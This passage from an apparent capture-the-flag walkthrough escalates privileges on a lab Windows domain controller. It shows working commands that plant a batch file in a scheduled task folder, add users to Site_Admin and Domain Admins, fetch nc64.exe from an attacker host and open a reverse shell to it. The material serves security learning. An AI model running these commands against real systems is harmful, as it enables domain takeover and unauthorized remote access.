*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Key Admins
*Managers
*Protected Users
*Read-only Domain Controllers
*Schema Admins
*Site_Admin
The command completed with one or more errors.
It’s description says it’s for emergencies and has access to Domain Admins:
PS C:\Utils> Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group
Members
-------------------------------------------------------------------------------
The command completed successfully.
Add awallace
Given that .bat
scripts are being run by Lois every five minutes, I’ll write a script to add awallace to Site_Admin
:
PS C:\Utils> Invoke-Command -ScriptBlock { Set-Content -Path '\program files\keepmeon\0xdf.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credenti
al $cred
PS C:\Utils> Invoke-Command -ScriptBlock { cat '\program files\keepmeon\0xdf.bat' } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
net group site_admin awallace /add /domain
I’ll note there’s no members of Site_Admin
above (it’s only for emergencies), but after a few minutes, awallace is added:
PS C:\Utils> Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group
Members
-------------------------------------------------------------------------------
awallace
The command completed successfully.
That’s actually enough to read root.txt
:
PS C:\Utils> Invoke-Command -ScriptBlock { cat \users\administrator\desktop\root.txt } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred
5a14532a55ecc6c7cf9faa6f3f6317b5
Shell
From here, it should be possible to get a shell. As a member of Site_Admin
, awallace can now connect without the dc_manage
configuration, opening all sorts of commands and privileges:
PS C:\Utils> Invoke-Command -ScriptBlock { whoami /priv } -ComputerName ATSSERVER -Credential $cred
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
These permissions do get reset periodically, so I’ll try adding another user:
PS C:\Utils> Invoke-Command -ScriptBlock { net user 0xdf abcdABCD1234!@#$ /add /domain /Y } -ComputerName ATSSERVER -Credential $cred
The command completed successfully.
(This took me many tries to get the password complexity enough and add /Y
to override a prompt.)
And adding it to Domain Admins
:
PS C:\Utils> Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred
Invoke-Command -ScriptBlock { net group "Domain Admins" 0xdf /add /domain } -ComputerName ATSSERVER -Credential $cred
The command completed successfully.
But these users get flushed periodically as well.
Back to awallace, I’ll upload nc64.exe
and call it:
PS C:\Utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { wget 10.10.14.6/nc64.exe -outfile \programdata\nc64.exe }
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -Credential $cred -ScriptBlock { \programdata\nc64.exe -e cmd 10.10.14.6 444}
At a listening nc
:
oxdf@hacky$ rlwrap -cAr nc -lnvp 444
Listening on 0.0.0.0 444
Connection received on 10.10.11.145 56958
Microsoft Windows [Version 10.0.17763.2452]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\awallace\Documents>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled